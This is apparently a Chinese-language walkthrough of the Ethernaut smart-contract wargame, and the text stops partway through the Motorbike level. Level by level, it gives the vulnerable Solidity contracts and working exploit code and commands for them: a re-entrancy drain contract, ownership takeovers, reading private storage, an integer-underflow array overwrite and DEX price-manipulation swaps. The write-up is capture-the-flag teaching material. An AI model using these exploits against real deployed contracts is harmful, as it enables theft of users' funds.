Hello Ethernet

Javascript
await contract.info();//"You will find what you need in info1()."await contract.info1();//'Try info2(), but with "hello" as a parameter.'await contract.info2("hello");//"The property infoNum holds the number of the next info method to call."await contract.infoNum();// 42await contract.info42();// "theMethodName is the name of the next method."await contract.theMethodName();// "The method name is method7123949."await contract.method7123949();// "If you know the password, submit it to authenticate()."await contract.password();// passwordawait contract.authenticate("password");// None

Fallback

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Fallback {    mapping(address => uint256) public contributions;    address public owner;    constructor() {        owner = msg.sender;        contributions[msg.sender] = 1000 * (1 ether);    }    modifier onlyOwner() {        require(msg.sender == owner, "caller is not the owner");        _;    }    function contribute() public payable {        require(msg.value < 0.001 ether);        contributions[msg.sender] += msg.value;        if (contributions[msg.sender] > contributions[owner]) {            owner = msg.sender;        }    }    function getContribution() public view returns (uint256) {        return contributions[msg.sender];    }    function withdraw() public onlyOwner {        payable(owner).transfer(address(this).balance);    }    receive() external payable {        require(msg.value > 0 && contributions[msg.sender] > 0);        owner = msg.sender;    }}

需要把owner变成我们。所以我们只需要提交一个contribute,然后发送转账即可。最后withdraw。

Javascript
await contract.contribute.sendTransaction({from: player, value: toWei('0.0009')})await web3.eth.sendTransaction({from: player, to: contract.address,value: toWei("0.000001")})await contract.owner()await contract.withdraw()

Fal1out

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import "openzeppelin-contracts-06/math/SafeMath.sol";contract Fallout {    using SafeMath for uint256;    mapping(address => uint256) allocations;    address payable public owner;    /* constructor */    function Fal1out() public payable {        owner = msg.sender;        allocations[owner] = msg.value;    }    modifier onlyOwner() {        require(msg.sender == owner, "caller is not the owner");        _;    }    function allocate() public payable {        allocations[msg.sender] = allocations[msg.sender].add(msg.value);    }    function sendAllocation(address payable allocator) public {        require(allocations[allocator] > 0);        allocator.transfer(allocations[allocator]);    }    function collectAllocations() public onlyOwner {        msg.sender.transfer(address(this).balance);    }    function allocatorBalance(address allocator) public view returns (uint256) {        return allocations[allocator];    }}

同样是取得所有权。注意到这里所有权只在Fal1out中定义。所以直接调用就可以了。

Javascript
await contract.Fal1out();await contract.owner();

Coin Flip

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract CoinFlip {    uint256 public consecutiveWins;    uint256 lastHash;    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;    constructor() {        consecutiveWins = 0;    }    function flip(bool _guess) public returns (bool) {        uint256 blockValue = uint256(blockhash(block.number - 1));        if (lastHash == blockValue) {            revert();        }        lastHash = blockValue;        uint256 coinFlip = blockValue / FACTOR;        bool side = coinFlip == 1 ? true : false;        if (side == _guess) {            consecutiveWins++;            return true;        } else {            consecutiveWins = 0;            return false;        }    }}

伪随机。要求在同一个block内那么就需要合约来交互。但是一次交易只能进行一次操作。

所以简单写个合约。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./CoinFlip.sol";contract Solve{    CoinFlip public coinFlip;    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;    constructor(address _coinFlip) public{        coinFlip = CoinFlip(_coinFlip);    }    function guessFlip() public {        uint256 blockValue = uint256(blockhash(block.number - 1));        uint256 coinFlip = blockValue / FACTOR;        bool guess = coinFlip == 1 ? true : false;        coinFlip.flip(guess);    }}

调用十次就行。

Telephone

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Telephone {    address public owner;    constructor() {        owner = msg.sender;    }    function changeOwner(address _owner) public {        if (tx.origin != msg.sender) {            owner = _owner;        }    }}

一眼看出,tx.origin 是交易发起人,msg.sender可以是合约。

所以再来一个合约。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface ITelephone{    function changeOwner(address _owner) external;}contract Solve{    ITelephone public phone;    constructor(address _phone){      phone = ITelephone(_phone);    }    function solve() public{        phone.changeOwner(msg.sender);    }}

Token

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Token {    mapping(address => uint256) balances;    uint256 public totalSupply;    constructor(uint256 _initialSupply) public {        balances[msg.sender] = totalSupply = _initialSupply;    }    function transfer(address _to, uint256 _value) public returns (bool) {        require(balances[msg.sender] - _value >= 0);        balances[msg.sender] -= _value;        balances[_to] += _value;        return true;    }    function balanceOf(address _owner) public view returns (uint256 balance) {        return balances[_owner];    }}

7.4.0之前(好像)的solidity是没有数学安全检查的。所以盲猜是溢出攻击。

然后看到transfer这个函数的检查好像没用诶!所以直接这样调用就行。

Javascript
await contract.transfer(contract.address,22000001)

Delegation

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Delegate {    address public owner;    constructor(address _owner) {        owner = _owner;    }    function pwn() public {        owner = msg.sender;    }}contract Delegation {    address public owner;    Delegate delegate;    constructor(address _delegateAddress) {        delegate = Delegate(_delegateAddress);        owner = msg.sender;    }    fallback() external {        (bool result,) = address(delegate).delegatecall(msg.data);        if (result) {            this;        }    }}

代理函数。当调用了Delegation.call(calldata)时,会自动往下一层Delegate中调用。所以我们只需要调用Delegation.call(”pwn()”)就可以了。

Javascript
let fn = web3.utils.keccak256("pwn()")await web3.eth.sendTransaction({from: player, to: contract.address, data: fn})

Force

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Force { /*                   MEOW ?         /\_/\   /    ____/ o o \    /~____  =ø= /    (______)__m_m)                   */ }

什么都没有。如何通过合约向合约发送以太坊?

🙂

  1. 合约至少实现了一个payable函数,然后在调用函数的时候带eth
  2. 合约实现了一个recevie函数
  3. 合约实现了一个fallback函数
  4. 通过selfdestruct()
  5. 通过miner的奖励获得eth

所以显然是通过selfdestruct。我们只需要定义一个合约并且让他被destruct了,它的余额就能被转移到指定的地方。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Payer {    uint public balance = 0;    function destruct(address payable _to) external payable {        selfdestruct(_to);    }    function deposit() external payable {        balance += msg.value;    }}

Vault

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Vault {    bool public locked;    bytes32 private password;    constructor(bytes32 _password) {        locked = true;        password = _password;    }    function unlock(bytes32 _password) public {        if (password == _password) {            locked = false;        }    }}

这里private的内容,我们不能直接通过调用来查看。但是作为一个公开透明的web3网络,我们可以直接阅读storage来获得值。😈

通过await web3.eth.getCode(contract.address)可以查看字节码,于是可以通过一些网站来进行简单的decompile。https://www.oklink.com/zh-hans/decompile#bytecode=6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607f565b6068565b005b806001541415607c576000805460ff191690555b50565b600060208284031215609057600080fd5b503591905056fea2646970667358221220fc7b38e6559928e1e1112f630b03a26ee6eb52d794080ecd75435ef82810dd9b64736f6c634300080c0033

但是能变成这个样子我是没想到的。

Solidity
# Palkeoramix decompiler. def storage:  stor0 is uint8 at storage 0  stor1 is uint256 at storage 1def locked() payable:   return bool(stor0)##  Regular functions#def _fallback() payable: # default function  revertdef unlock(bytes32 _param1) payable:   require calldata.size - 4 >=′ 32  if stor1 == _param1:      stor0 = 0

对比已知代码,知道stor1是byte32的password。直接获取!

Javascript
let password = await web3.eth.getStorageAt(contract.address,1)await contract.unlock(password)await contract.locked()

King

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract King {    address king;    uint256 public prize;    address public owner;    constructor() payable {        owner = msg.sender;        king = msg.sender;        prize = msg.value;    }    receive() external payable {        require(msg.value >= prize || msg.sender == owner);        payable(king).transfer(msg.value);        king = msg.sender;        prize = msg.value;    }    function _king() public view returns (address) {        return king;    }}

现在是0.001 eth。

Javascript
(await contract.prize()).toString()// 0.001

写一个恶意合约,把所有的transfer都revert了,就可以了。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Solve{    address payable king;    constructor(address payable _king) {        king = _king;    }    receive() external payable {        revert("Impossible!");    }    function claimKing() external payable {        king.call{value: 0.0011 ether}("");    }}
Javascript
let fn = web3.utils.keccak256("claimKing()")await web3.eth.sendTransaction({from: player, to: "0x23C628C158b4162Cd49FBF13Dd009fFDf593E3c6",data: fn, value: toWei("0.0011")})

Re-entrancy

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.6.12;import "openzeppelin-contracts-06/math/SafeMath.sol";contract Reentrance {    using SafeMath for uint256;    mapping(address => uint256) public balances;    function donate(address _to) public payable {        balances[_to] = balances[_to].add(msg.value);    }    function balanceOf(address _who) public view returns (uint256 balance) {        return balances[_who];    }    function withdraw(uint256 _amount) public {        if (balances[msg.sender] >= _amount) {            (bool result,) = msg.sender.call{value: _amount}("");            if (result) {                _amount;            }            balances[msg.sender] -= _amount;        }    }    receive() external payable {}}

看名字就知道是重入攻击。如题:在withdraw函数中,更新记录在转账之后,转账时,如果我们构造一个恶意合约可以再次调用withdraw。从而取得所有的balance。

Solidity
contract Attack {    Reentrance r;    uint256 amount = 0.001 ether;    constructor(address payable addr) public {        r = Reentrance(addr);    }    receive() external payable {        if (address(r).balance >= amount) {            r.withdraw(amount);        }    }    function attack() external payable {        r.donate{value: amount}(address(this));        r.withdraw(amount);    }    function withdraw() external {        msg.sender.transfer(address(this).balance);    }}

Elevator

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Building {    function isLastFloor(uint256) external returns (bool);}contract Elevator {    bool public top;    uint256 public floor;    function goTo(uint256 _floor) public {        Building building = Building(msg.sender);        if (!building.isLastFloor(_floor)) {            floor = _floor;            top = building.isLastFloor(floor);        }    }}

实现一个build合约,满足调用goTo时,building.isLastFloor 先为false,再为true。

连着两次调用是反过来的。

于是

Solidity
contract Building_ is Building{  Elevator public target;  bool result = true;  constructor(address elevator) {    target = Elevator(elevator);  }  function isLastFloor(uint) public returns (bool){    result = !result;    return result;  }  function attack() public {    target.goTo(2);  }}

部署运行即可。

Privacy

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Privacy {    bool public locked = true;    uint256 public ID = block.timestamp;    uint8 private flattening = 10;    uint8 private denomination = 255;    uint16 private awkwardness = uint16(block.timestamp);    bytes32[3] private data;    constructor(bytes32[3] memory _data) {        data = _data;    }    function unlock(bytes16 _key) public {        require(_key == bytes16(data[2]));        locked = false;    }    /*    A bunch of super advanced solidity algorithms...      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU    */}

和之前那个一样,丢到反汇编程序里,然后直接看是哪一个storage就行。

slotvariablevalue
0locked (1 byte)0x01
1ID (32 bytes)block.timestamp
2awkwardness (2 bytes) + denomination (1 byte) + flattening (1 byte)block.timestamp, 0xff, 0x0a
3data[0]
4data[1]
5data[2]

所以直接取storage5就能拿到,再截取一半。

Javascript
await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34))

Gatekeeper

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract GatekeeperOne {    address public entrant;    modifier gateOne() {        require(msg.sender != tx.origin);        _;    }    modifier gateTwo() {        require(gasleft() % 8191 == 0);        _;    }    modifier gateThree(bytes8 _gateKey) {        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");        _;    }    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {        entrant = tx.origin;        return true;    }}

就是三个过滤。

gateOne:我们用合约就能绕过。

gateTwo:爆破gas。

gateThree:

  1. 低位 4 bytes (32 bits) == 低位 2 bytes (16 bits)

中间2 bytes置零

  1. 低位 4 bytes (32 bits) != 高位 4 bytes (32 bits)

高位不置零

  1. 低位 4 bytes (32 bits) == tx.origin 的低位 2 bytes (16 bits)

所以相当于这个gateKey = tx.origin & 0xffffffff0000ffff

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Solve {    function attack(address addr) external returns (bool) {        GatekeeperOne g = GatekeeperOne(addr);        bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;        for (uint i = 0; i < 1000; i ++) {            try g.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) {                return result;            } catch { }        }        return false;    }}

Gatekeeper Two

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract GatekeeperTwo {    address public entrant;    modifier gateOne() {        require(msg.sender != tx.origin);        _;    }    modifier gateTwo() {        uint256 x;        assembly {            x := extcodesize(caller())        }        require(x == 0);        _;    }    modifier gateThree(bytes8 _gateKey) {        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);        _;    }    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {        entrant = tx.origin;        return true;    }}

好像这个看起来比上一个简单。gateTwo是判断caller是否为合约的方法。当然如果在constructor中调用这个函数,不会出现错误。

Solidity
contract Solve {    constructor(address addr) {        GatekeeperTwo g = GatekeeperTwo(addr);        bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;        g.enter(gateKey);    }}

Naught Coin

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";contract NaughtCoin is ERC20 {    // string public constant name = 'NaughtCoin';    // string public constant symbol = '0x0';    // uint public constant decimals = 18;    uint256 public timeLock = block.timestamp + 10 * 365 days;    uint256 public INITIAL_SUPPLY;    address public player;    constructor(address _player) ERC20("NaughtCoin", "0x0") {        player = _player;        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));        // _totalSupply = INITIAL_SUPPLY;        // _balances[player] = INITIAL_SUPPLY;        _mint(player, INITIAL_SUPPLY);        emit Transfer(address(0), player, INITIAL_SUPPLY);    }    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {        super.transfer(_to, _value);    }    // Prevent the initial owner from transferring tokens until the timelock has passed    modifier lockTokens() {        if (msg.sender == player) {            require(block.timestamp > timeLock);            _;        } else {            _;        }    }}

不让转账。但是可以收款啊。

再来一个合约,然后transferFrom就行。当然本账户是要approve的。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/IERC20.sol";contract Solve {    function solve(address _token) external {		    IERC20 token = IERC20(_token);        uint256 balance = token.balanceOf(msg.sender);        token.transferFrom(msg.sender, address(this), balance);    }}

Preservation

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Preservation {    // public library contracts    address public timeZone1Library;    address public timeZone2Library;    address public owner;    uint256 storedTime;    // Sets the function signature for delegatecall    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {        timeZone1Library = _timeZone1LibraryAddress;        timeZone2Library = _timeZone2LibraryAddress;        owner = msg.sender;    }    // set the time for timezone 1    function setFirstTime(uint256 _timeStamp) public {        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));    }    // set the time for timezone 2    function setSecondTime(uint256 _timeStamp) public {        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));    }}// Simple library contract to set the timecontract LibraryContract {    // stores a timestamp    uint256 storedTime;    function setTime(uint256 _time) public {        storedTime = _time;    }}

delegateCall时,相当于把下一个合约的代码复制到当前环境中来运行。

并且由于LibraryContractPreservation 代码中变量结构不同,LibraryContract中setTime调用时,实际上是修改第一个slot中的内容,即address public timeZone1Library的内容。所以可以覆盖上一个恶意合约,再次修改即可修改owner。

Solidity
contract Solve {    address public timeZone1Library;    address public timeZone2Library;    address public owner;    uint256 storedTime;    function setTime(uint256 /*_time*/) public {        owner = msg.sender;    }}

Recovery

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Recovery {    //generate tokens    function generateToken(string memory _name, uint256 _initialSupply) public {        new SimpleToken(_name, msg.sender, _initialSupply);    }}contract SimpleToken {    string public name;    mapping(address => uint256) public balances;    // constructor    constructor(string memory _name, address _creator, uint256 _initialSupply) {        name = _name;        balances[_creator] = _initialSupply;    }    // collect ether in return for tokens    receive() external payable {        balances[msg.sender] = msg.value * 10;    }    // allow transfers of tokens    function transfer(address _to, uint256 _amount) public {        require(balances[msg.sender] >= _amount);        balances[msg.sender] = balances[msg.sender] - _amount;        balances[_to] = _amount;    }    // clean up after ourselves    function destroy(address payable _to) public {        selfdestruct(_to);    }}

简单取证题。直接去找transcation中的某个带有0.001 ether的合约。https://sepolia.etherscan.io/tx/0x4204a861a00fc325d4446c80310971a8c737f85653a594bfe8f537354caaa5d0#internal

MagicNumber

10byte的合约,并且能够返回42。类似之前SCTF的某个题。放文章吧,我太菜了.jpg

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

大概意思是,在创建合约时,只有initalize code被执行(包括constructor,以及在evm上设置你的合约的部分代码)。

runtime code。

其实函数调用在某些decompiler中可以被看到,其实就是在主函数中判断函数签名然后跳转执行。所以可以不用考虑,直接运行就好。

下面是runtime code,刚好在10byte内完成了返回42这个操作。

Assembly
PUSH1 0x2a ; store 0x42PUSH1 0x80MSTOREPUSH1 0x20 ; return 0x42PUSH1 0x80RETURN

然后是一个最短initalize code。这个好像上次用过来着

Assembly
PUSH1 0x0a ; copy runtime code to memoryPUSH1 0x0cPUSH1 0x00CODECOPYPUSH1 0x0a ; return the memory address of codePUSH1 0x00RETURN

于是最后是这样的一串,部署并调用后即可。

Python
0x600a600c600039600a6000f3602a60805260206080f3

Alien Codex

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.5.0;import "../helpers/Ownable-05.sol";contract AlienCodex is Ownable {    bool public contact;    bytes32[] public codex;    modifier contacted() {        assert(contact);        _;    }    function makeContact() public {        contact = true;    }    function record(bytes32 _content) public contacted {        codex.push(_content);    }    function retract() public contacted {        codex.length--;    }    function revise(uint256 i, bytes32 _content) public contacted {        codex[i] = _content;    }}

现在发现panoramix特别好用。直接丢进去看看

可以发现owner存放在storage 0的位置,codex,可变数组,存放在storage 1 (应该是1 往后。)

版本非常老,0.5.0的版本,没有下溢检查,可以直接让数组长度变为0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

然后这样就可以修改内容了。但是现在问题是,数组中slot位置未知。

查阅资料之后知道,在0x1这个位置上存放的内容,存放在slot上的web3.utils.soliditySha3(web3.utils.padLeft(web3.utils.toHex(1), 64)) 。所以直接计算0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 和上面值的差,即35707666377435648211887908874984608119992236509074197713628505308453184860937 就能得到在数组中的slot0位置。

好!于是就直接写入就好了!

Solidity
await contract.revise("35707666377435648211887908874984608119992236509074197713628505308453184860938","0x0000000000000000000000012bD02c885ba7dc81960AF0e2de7b1b2bB8E58c09")

Denial

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Denial {    address public partner; // withdrawal partner - pay the gas, split the withdraw    address public constant owner = address(0xA9E);    uint256 timeLastWithdrawn;    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances    function setWithdrawPartner(address _partner) public {        partner = _partner;    }    // withdraw 1% to recipient and 1% to owner    function withdraw() public {        uint256 amountToSend = address(this).balance / 100;        // perform a call without checking return        // The recipient can revert, the owner will still get their share        partner.call{value: amountToSend}("");        payable(owner).transfer(amountToSend);        // keep track of last withdrawal time        timeLastWithdrawn = block.timestamp;        withdrawPartnerBalances[partner] += amountToSend;    }    // allow deposit of funds    receive() external payable {}    // convenience function    function contractBalance() public view returns (uint256) {        return address(this).balance;    }}

这里withdraw中并没有检测revert。也就是就算我们revert了,也无法终止程序。所以解决办法是写个死循环耗尽gas。此事在USTC Hackergame 2024中也有记载。

部署并设置好即可。

Shop

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Buyer {    function price() external view returns (uint256);}contract Shop {    uint256 public price = 100;    bool public isSold;    function buy() public {        Buyer _buyer = Buyer(msg.sender);        if (_buyer.price() >= price && !isSold) {            isSold = true;            price = _buyer.price();        }    }}

和Elevator一样。但是这里状态的转换是走isSold这里记录的。

Dex

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";import "openzeppelin-contracts-08/access/Ownable.sol";contract Dex is Ownable {    address public token1;    address public token2;    constructor() {}    function setTokens(address _token1, address _token2) public onlyOwner {        token1 = _token1;        token2 = _token2;    }    function addLiquidity(address token_address, uint256 amount) public onlyOwner {        IERC20(token_address).transferFrom(msg.sender, address(this), amount);    }    function swap(address from, address to, uint256 amount) public {        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");        uint256 swapAmount = getSwapPrice(from, to, amount);        IERC20(from).transferFrom(msg.sender, address(this), amount);        IERC20(to).approve(address(this), swapAmount);        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);    }    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));    }    function approve(address spender, uint256 amount) public {        SwappableToken(token1).approve(msg.sender, spender, amount);        SwappableToken(token2).approve(msg.sender, spender, amount);    }    function balanceOf(address token, address account) public view returns (uint256) {        return IERC20(token).balanceOf(account);    }}contract SwappableToken is ERC20 {    address private _dex;    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)        ERC20(name, symbol)    {        _mint(msg.sender, initialSupply);        _dex = dexInstance;    }    function approve(address owner, address spender, uint256 amount) public {        require(owner != _dex, "InvalidApprover");        super._approve(owner, spender, amount);    }}

流动性池子的一个问题。当交易值过大,并且没人补充流动性时,可以通过多次反复交易,把池子中内容全部取出。(价格会被操纵)

Javascript
let token1 = await contract.token1();let token2 = await contract.token2();await contract.approve(instance, 1000);await contract.swap(token1, token2, 10);await contract.swap(token2, token1, 20);await contract.swap(token1, token2, 24);await contract.swap(token2, token1, 30);await contract.swap(token1, token2, 41);await contract.swap(token2, token1, 45);

Dex Two

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";import "openzeppelin-contracts-08/access/Ownable.sol";contract DexTwo is Ownable {    address public token1;    address public token2;    constructor() {}    function setTokens(address _token1, address _token2) public onlyOwner {        token1 = _token1;        token2 = _token2;    }    function add_liquidity(address token_address, uint256 amount) public onlyOwner {        IERC20(token_address).transferFrom(msg.sender, address(this), amount);    }    function swap(address from, address to, uint256 amount) public {        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");        uint256 swapAmount = getSwapAmount(from, to, amount);        IERC20(from).transferFrom(msg.sender, address(this), amount);        IERC20(to).approve(address(this), swapAmount);        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);    }    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));    }    function approve(address spender, uint256 amount) public {        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);    }    function balanceOf(address token, address account) public view returns (uint256) {        return IERC20(token).balanceOf(account);    }}contract SwappableTokenTwo is ERC20 {    address private _dex;    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)        ERC20(name, symbol)    {        _mint(msg.sender, initialSupply);        _dex = dexInstance;    }    function approve(address owner, address spender, uint256 amount) public {        require(owner != _dex, "InvalidApprover");        super._approve(owner, spender, amount);    }}

这个题要求提取出token1和token2中所有余额。和上一题的区别在于,可以使用token3(即自己的代币)

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/ERC20.sol";contract Token3 is ERC20 {    constructor() ERC20("Token3", "Token3") { }    function mint(address account, uint256 value) external {        _mint(account, value);    }    function burn(address account, uint256 value) external {        _burn(account, value);    }}
Javascript
// mint c for user and contract.let a = await contract.token1();let b = await contract.token2();let c = "0x2872B4B3b18F290062C47bA14C63dbCeF525905D";await contract.swap(c,a,1);await contract.swap(c,b,2);

Puzzle Wallet

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;pragma experimental ABIEncoderV2;import "../helpers/UpgradeableProxy-08.sol";contract PuzzleProxy is UpgradeableProxy {    address public pendingAdmin;    address public admin;    constructor(address _admin, address _implementation, bytes memory _initData)        UpgradeableProxy(_implementation, _initData)    {        admin = _admin;    }    modifier onlyAdmin() {        require(msg.sender == admin, "Caller is not the admin");        _;    }    function proposeNewAdmin(address _newAdmin) external {        pendingAdmin = _newAdmin;    }    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");        admin = pendingAdmin;    }    function upgradeTo(address _newImplementation) external onlyAdmin {        _upgradeTo(_newImplementation);    }}contract PuzzleWallet {    address public owner;    uint256 public maxBalance;    mapping(address => bool) public whitelisted;    mapping(address => uint256) public balances;    function init(uint256 _maxBalance) public {        require(maxBalance == 0, "Already initialized");        maxBalance = _maxBalance;        owner = msg.sender;    }    modifier onlyWhitelisted() {        require(whitelisted[msg.sender], "Not whitelisted");        _;    }    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {        require(address(this).balance == 0, "Contract balance is not 0");        maxBalance = _maxBalance;    }    function addToWhitelist(address addr) external {        require(msg.sender == owner, "Not the owner");        whitelisted[addr] = true;    }    function deposit() external payable onlyWhitelisted {        require(address(this).balance <= maxBalance, "Max balance reached");        balances[msg.sender] += msg.value;    }    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {        require(balances[msg.sender] >= value, "Insufficient balance");        balances[msg.sender] -= value;        (bool success,) = to.call{value: value}(data);        require(success, "Execution failed");    }    function multicall(bytes[] calldata data) external payable onlyWhitelisted {        bool depositCalled = false;        for (uint256 i = 0; i < data.length; i++) {            bytes memory _data = data[i];            bytes4 selector;            assembly {                selector := mload(add(_data, 32))            }            if (selector == this.deposit.selector) {                require(!depositCalled, "Deposit can only be called once");                // Protect against reusing msg.value                depositCalled = true;            }            (bool success,) = address(this).delegatecall(data[i]);            require(success, "Error while delegating call");        }    }}

这个题过几天再看吧,有点晕

Motorbike

Solidity
// SPDX-License-Identifier: MITpragma solidity <0.7.0;import "openzeppelin-contracts-06/utils/Address.sol";import "openzeppelin-contracts-06/proxy/Initializable.sol";contract Motorbike {    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;    struct AddressSlot {        address value;    }    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.    constructor(address _logic) public {        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));        require(success, "Call failed");    }    // Delegates the current call to `implementation`.    function _delegate(address implementation) internal virtual {        // solhint-disable-next-line no-inline-assembly        assembly {            calldatacopy(0, 0, calldatasize())            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)            returndatacopy(0, 0, returndatasize())            switch result            case 0 { revert(0, returndatasize()) }            default { return(0, returndatasize()) }        }    }    // Fallback function that delegates calls to the address returned by `_implementation()`.    // Will run if no other function in the contract matches the call data    fallback() external payable virtual {        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);    }    // Returns an `AddressSlot` with member `value` located at `slot`.    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {        assembly {            r_slot := slot        }    }}contract Engine is Initializable {    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;    address public upgrader;    uint256 public horsePower;    struct AddressSlot {        address value;    }    function initialize() external initializer {        horsePower = 1000;        upgrader = msg.sender;    }    // Upgrade the implementation of the proxy to `newImplementation`    // subsequently execute the function call    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {        _authorizeUpgrade();        _upgradeToAndCall(newImplementation, data);    }    // Restrict to upgrader role    function _authorizeUpgrade() internal view {        require(msg.sender == upgrader, "Can't upgrade");    }    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.    function _upgradeToAndCall(address newImplementation, bytes memory data) internal {        // Initial upgrade and setup call        _setImplementation(newImplementation);        if (data.length > 0) {            (bool success,) = newImplementation.delegatecall(data);            require(success, "Call failed");        }    }    // Stores a new address in the EIP1967 implementation slot.    function _setImplementation(address newImplementation) private {        